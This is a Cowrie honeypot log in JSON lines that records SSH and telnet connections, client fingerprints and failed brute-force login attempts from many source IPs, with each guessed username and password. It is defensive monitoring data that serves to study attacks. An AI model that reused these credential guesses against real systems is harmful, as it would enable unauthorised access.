{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:38:40.807897Z","src_ip":"194.113.233.25","session":"7e30f884a877","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"131415","message":"login attempt [user/131415] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:38:40.881433Z","src_ip":"2.57.121.25","session":"1fd246d10264","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"131088","message":"login attempt [user/131088] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:38:41.984461Z","src_ip":"2.57.121.25","session":"1fd246d10264","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13101979","message":"login attempt [user/13101979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:38:43.086855Z","src_ip":"2.57.121.25","session":"1fd246d10264","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:38:44.189200Z","src_ip":"2.57.121.25","session":"1fd246d10264","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":58648,"dst_ip":"159.203.135.109","dst_port":22,"session":"70b13f45c7ff","protocol":"ssh","message":"New connection: 80.94.92.184:58648 (159.203.135.109:22) [session: 70b13f45c7ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:38:48.251224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:38:48.466259Z","src_ip":"80.94.92.184","session":"70b13f45c7ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:38:48.470122Z","src_ip":"80.94.92.184","session":"70b13f45c7ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234567","message":"login attempt [solv/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:38:49.505486Z","src_ip":"80.94.92.184","session":"70b13f45c7ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:38:50.935005Z","src_ip":"80.94.92.184","session":"70b13f45c7ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":54922,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a1db9687bde","protocol":"ssh","message":"New connection: 46.19.67.181:54922 (159.203.135.109:22) [session: 5a1db9687bde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:39:15.871268Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":43242,"dst_ip":"159.203.135.109","dst_port":22,"session":"aaa739c7831f","protocol":"ssh","message":"New connection: 103.173.227.57:43242 (159.203.135.109:22) [session: aaa739c7831f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:39:55.891297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:39:55.896007Z","src_ip":"103.173.227.57","session":"aaa739c7831f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:39:56.130020Z","src_ip":"103.173.227.57","session":"aaa739c7831f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mazda6","message":"login attempt [root/mazda6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:39:56.832680Z","src_ip":"103.173.227.57","session":"aaa739c7831f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:39:58.070336Z","src_ip":"103.173.227.57","session":"aaa739c7831f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.64.105.47","src_port":51250,"dst_ip":"10.17.0.5","dst_port":23,"session":"472dda2f3c55","protocol":"telnet","message":"New connection: 20.64.105.47:51250 (10.17.0.5:23) [session: 472dda2f3c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:40:19.521096Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":34926,"dst_ip":"10.17.0.5","dst_port":22,"session":"b86ff7408129","protocol":"ssh","message":"New connection: 147.45.197.250:34926 (10.17.0.5:22) [session: b86ff7408129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:40:22.813909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:40:22.818920Z","src_ip":"147.45.197.250","session":"b86ff7408129","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:40:22.912742Z","src_ip":"147.45.197.250","session":"b86ff7408129","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12312","message":"login attempt [root/12312] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:40:23.196925Z","src_ip":"147.45.197.250","session":"b86ff7408129","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:40:24.293739Z","src_ip":"147.45.197.250","session":"b86ff7408129","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.044858455657959,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:40:29.565814Z","src_ip":"20.64.105.47","session":"472dda2f3c55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.64.105.47","src_port":52574,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fa60d911897","protocol":"telnet","message":"New connection: 20.64.105.47:52574 (10.17.0.5:23) [session: 6fa60d911897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:40:29.606797Z"}
{"eventid":"cowrie.session.closed","duration":0.05425405502319336,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:40:29.660954Z","src_ip":"20.64.105.47","session":"6fa60d911897","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":1231,"dst_ip":"10.17.0.5","dst_port":22,"session":"c26c81cc019c","protocol":"ssh","message":"New connection: 79.127.181.44:1231 (10.17.0.5:22) [session: c26c81cc019c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:40:33.022105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:40:33.229583Z","src_ip":"79.127.181.44","session":"c26c81cc019c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:40:33.425002Z","src_ip":"79.127.181.44","session":"c26c81cc019c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:40:33.428986Z","src_ip":"79.127.181.44","session":"c26c81cc019c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":36122,"dst_ip":"159.203.135.109","dst_port":22,"session":"97a74f2a0319","protocol":"ssh","message":"New connection: 193.228.128.84:36122 (159.203.135.109:22) [session: 97a74f2a0319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:05.199210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:05.203699Z","src_ip":"193.228.128.84","session":"97a74f2a0319","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:05.306058Z","src_ip":"193.228.128.84","session":"97a74f2a0319","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cm6e7aumn9","message":"login attempt [root/cm6e7aumn9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:05.615288Z","src_ip":"193.228.128.84","session":"97a74f2a0319","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:06.720640Z","src_ip":"193.228.128.84","session":"97a74f2a0319","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:15.883234Z","src_ip":"46.19.67.181","session":"5a1db9687bde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":50126,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e333f8c81b7","protocol":"ssh","message":"New connection: 80.66.85.226:50126 (10.17.0.5:22) [session: 8e333f8c81b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:18.303131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:18.307661Z","src_ip":"80.66.85.226","session":"8e333f8c81b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:18.397378Z","src_ip":"80.66.85.226","session":"8e333f8c81b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2345678","message":"login attempt [root/2345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:18.667810Z","src_ip":"80.66.85.226","session":"8e333f8c81b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:19.763761Z","src_ip":"80.66.85.226","session":"8e333f8c81b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":41032,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dd8b2e2e978","protocol":"ssh","message":"New connection: 103.149.28.157:41032 (10.17.0.5:22) [session: 8dd8b2e2e978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:22.170840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:22.196605Z","src_ip":"103.149.28.157","session":"8dd8b2e2e978","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:22.452775Z","src_ip":"103.149.28.157","session":"8dd8b2e2e978","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mariya","message":"login attempt [root/mariya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:23.379447Z","src_ip":"103.149.28.157","session":"8dd8b2e2e978","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:24.626096Z","src_ip":"103.149.28.157","session":"8dd8b2e2e978","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":35488,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f2e70cde022","protocol":"ssh","message":"New connection: 62.133.63.178:35488 (10.17.0.5:22) [session: 4f2e70cde022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:32.599963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:32.604727Z","src_ip":"62.133.63.178","session":"4f2e70cde022","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:32.730889Z","src_ip":"62.133.63.178","session":"4f2e70cde022","protocol":"ssh"}
